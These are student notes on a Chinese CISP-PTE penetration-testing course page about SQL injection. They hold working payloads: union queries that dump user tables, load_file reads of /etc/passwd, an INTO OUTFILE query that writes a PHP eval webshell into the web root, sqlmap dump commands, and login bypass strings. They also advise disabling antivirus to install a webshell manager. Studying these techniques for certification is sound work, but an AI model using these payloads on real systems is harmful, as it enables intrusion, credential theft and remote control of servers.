默认计划
475人加入学习
(0人评价)
CISP-PTE基础课程(2023年8月)
价格 ¥ 14800.00
该课程属于 CISP-PTE班级
请加入后再学习

SQL注入的思路

1.注入点——一般是show.php?id=1

2.利用and判断是否能正常执行SQL语句并回显(判断闭合方式)

整数型注入和字符型注入(包裹)

 

3.判断列数

4.使用联合查询查看语句回显位置

5.回显点添加函数查看想要的内容(database,user)

 

6.查数据表

常用的数据库函数:

三个表

information_schema.schmeta 存储了数据库中所有数据库的库名

information_schema.tables 所有数据表的表名

information_schema.columns 所有的列的列名

 

常用字段名:

table_schema 数据库库名

table_name 数据表名

column _name 列名

 

group_concat(),括号中只能写字段名

select 1,2,3,123可以写函数

 

查表名:

id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' --+

联合查询当前security数据库中information_schema_tables表的具体表名

 

table_name查询时一次性只能输出一个表——limit a,b(从a+1的位置去b数量的值展示)——group_concat(table_name)将参数集中到一行展示

 

7.查列名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' --+

查询当前库的列名表中的所有列名,列名会有重复

 

查某个表中的具体列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

列名为id username password

 

8.查询该列名下的具体字段值

?id=-1' union select 1,2,group_concat(id,username,password) from users 将列名作为函数,从users表中查询具体字段值(表名users不关联字段时,不需要闭合)

以这种方式回显——idusernamepassword,idusrnamepassword

可插入:使三列的字段隔开;

id,':',username,':',password

 

当出现Illegal mix of collations for operation 'UNION报错时——字段值校对失败

联合查询中字段值使用unhex(hex())绕过

 

6.当知道系统为linux时——第五步后另一种做法:使用load_file('系统目录')字段读取系统敏感文件

读取文件注入

 

LINUX的目录结构:

以/根开始,树状结构

 

常见的系统文件路径:

/etc/passwd 存储系统的用户名、密码及其他信息

格式:

root:x:0:0:root:/root:/usr/bin/zsh

对应用户名,密码,用户UID,所属组ID,全称,属于该用户的文件路径,用户执行命令时shell环境路径

当UID或组ID有一个为0时,该用户具备系统最高权限

 

/etc/shadow 存储系统的密码

 

 

注入读取/etc/password文件

load_file()——绝对路径

?id=-32 union select 1,2,3,4,5,6,7,8,9,10,load_file('/etc/passwd'),12,13,14,15 路径必须用引号或括号包裹,与闭合方式无关

 

写入文件注入——into out_file "目录"字段

into out_file "目录"

——绝对路径、具备木马文件的执行权限

——mysql设置开启、secure_file_priv="空"

 

php网页为例;

写入什么文件——木马

木马文件的概念

1、都需要执行权限

2、种类复杂 exe(应用程序),jsp,php,aspx(webshell——危险性:可以远程执行命令,实现命令注入——代码执行,命令执行)

代码执行和命令执行的区别

代码执行:php,传递php代码作为参数,放到存在代码执行函数的命令中,

代码执行函数

eval()——传递的参数会被识别为php代码进行解析

命令执行函数

system()——传递的参数会被识别为系统命令进行解析,例ls,cat

 

作用:导致系统或网站被恶意操控

操控的核心原理:系统或网站中本身存在如eval()等敏感函数

 

举例:

php一句话木马

格式:<?php @eval($_POST['c']);?>

POST方式传递参数c到php页面中执行

show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_POST['c']);?>",12,13,14,15 into outfile "var/www/html/suncong.php" 

将1到10以及参数'c'写入到/var/www/html/suncong.php路径,如路径不存在则新建

@:保证在报错时也能正常执行

 

 

 

验证是否成功;

访问suncong.php

harkbar——body——c=phpinfo()

回显php版本信息,成功

成功后,使用蚁剑

蚁剑的三大功能:

文件管理,可以看到该网站IP端口下的所有文件

命令执行,对网站底层的系统执行命令

SQL语句执行,用数据库账户密码连接网站的数据库,执行SQL语句

 

蚁剑安装

关掉病毒和威胁防护

安装时工作目录选择为antSword-master

 

一、常用的传参方式

get方式:$_GET,

 特点:表现为在url后拼接?id=1,如果没有则不是get方式传参

post方式:$_POST,id=1

 特点:传webshell

request方式:$_REQUEST

特点:

 

二、sqlmap使用

kali命令:

常用

sudo su 切换到root用户

password root 修改root用户密码

 

sqlmap命令

特点:用来跑get方式传参的界面

命令:

sqlmap -u 存在注入点的URL——

--dbs 数据库的库名和数量

--current-db 当前使用的数据库名

--tables -D "database" 库下的所有表名

 --columns -D "database" -T "table" 该库表下的所有列名

--dump -C"id" -D "database" -T "table" 库表列的具体字段值并展示

 

(1)探测该点的传参方式

(2)可执行的SQL语句类型(盲注,联合查询等)

(3)闭合方式

(4)列数

(5)列的回显点

(6)数据库类型版本、数据库使用者、web语言版本、web中间件版本

sqlmap -u 存在注入点的URL --dbs——使用设定好的sql语句探测数据库库名和数量

?当前路径使用的数据库

sqlmap -u URL --current-db——探测当前使用的数据库

sqlmap -u URL --tables -D "security"——探测security数据库中的表

sqlmap -u URL --columns -T "users" -D "security"——探测security数据库中users表下的列

sqlmap -u URL --dump -C "id,username,pssword" -T "users" -D "security"——探测security数据库中users表下这些列具体的字段值并展示、*到默认路径

 

 三、SQL注入的类型

1.联合查询,G或P传参-and逃逸-列数-列回显点-库名系统名-表名-列名-字段值

 

2.

 

四、万能密码登录

使用背景:网页为post方式传参

 

or逻辑词概念:只要一边为真则输出为真,俩边都为假输出为假

 

思路:

1.输入任意账号密码后点击登录,load返回界面

2.观察界面,URL无?id=,enable post自动开启,body内有输入的账号密码——POST方式传参——账号密码用post传递

3.猜测SQL语句——在数据库相应的表中查询输入的账号密码,如果有则返回成功,没有则返回失败

select * from table where username=$ and password=$ limit 0,1。。。。

4.未知账号密码,用or使where始终输出为真

where 1=1时,select * from table

select * from table

不判断账号密码是是否正常,直接查询表里的所有内容——直接查询登录后的内容

 

select * from table where username=1 or 1=1 --+——

无报错回显表示闭合方式错误——or逃逸失败

password处有报错回显——username闭合方式正确——or逃逸成功

5.报错:use near '' and password='' LIMIT 0,1' at line 1

报错部分在near''中——'and password='报错

——注释符被转义未生效,更换注释符#——或者在body中观察输入1' or 1=1 --+被转换后编码,使转换后注释符保持不变

 

拿到用户名后:

直接在用户名处进行联合查询

select * from table where username=Dumb' order by 10 #

 

 

[展开全文]

create database 库名;增加数据库

drop database 库名;删除数据库

create table user (

uid int(32)  primary key auto_increment,

uname varchar(32),

upassword varchar(32)

);

 

查询数据库表 show tables;

查询数据库列desc user;

数据库写入insert into user

(uid,uname,upassword)

values

(1,"张三",123456);

[展开全文]

CISP-PTE
选择题20分20道题实操题50分5道小题
综合题30分1道大题--3个flag考察一个完整的渗透测试过程
信息搜集-web漏洞、中间件漏洞、系统漏洞,获取web权限、数据库权限-利用已有的权限进行提权,获取最高的系统权限70分合格
3个小时
php、aspx、j*asql注入--sql语句文件上传
文件包含命令执行
xsS反序列化代码审计日志分析访问控制
综合题一个模拟的真实的渗透测试环境题目提供一个IP
信息搜集--端口扫描--目录扫描--web漏洞利用--获取权限信息搜集--数据库权限
主机权限--管理员权限
 

[展开全文]

盲注大概思路为:

1、猜测数据库长度

?id=1' and length(database())=8 --+

2、猜测数据库名称

?id=1'and ascii(sybstr((select database)),1,1)>114 --+

3、探测表得数量

id=1'and (select count(table_name) from information_schema.tables where table_schema=database())>1 --+

4、探测表名长度

id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 --+

5、探测表名称

依次往下探测

 

 

二次注入

注册admin'#账号,修改密码时直接修改admin账号,因为此时#后的会被注释,admin账号和数据库代码闭合,即修改admin密码成功

布尔盲注

若页面没有回显位置,且在条件为真时输出一个结果,为假时输出另一个结果,则判断为布尔盲注。此时需要substr()函数截取字符串,ascii()函数转换为ascii码,猜测目标字符串的ascii码,一位一位猜测

时间盲注

和布尔盲注类似,通过sleep()函数判断是否为真,如为真则会延迟输出

宽字节注入

因为单引号'会被函数转为'/,得想办法把自动生成的/注释掉。

mysql中两个百分号字符会被转义为汉字

%5c=/  %df%5c=一个汉字

注入时加上%df'即可注入成功

堆叠注入

支持同时执行多条语句,用分号隔开所执行的语句

 

[展开全文]

授课教师

课程特色

视频(21)
考试(2)
练习(1)
文档(1)

学员动态

c_mou_ren 加入学习
user842f81 加入学习
a18159405161 加入学习
user1x4m1a 加入学习
userlxoru6 加入学习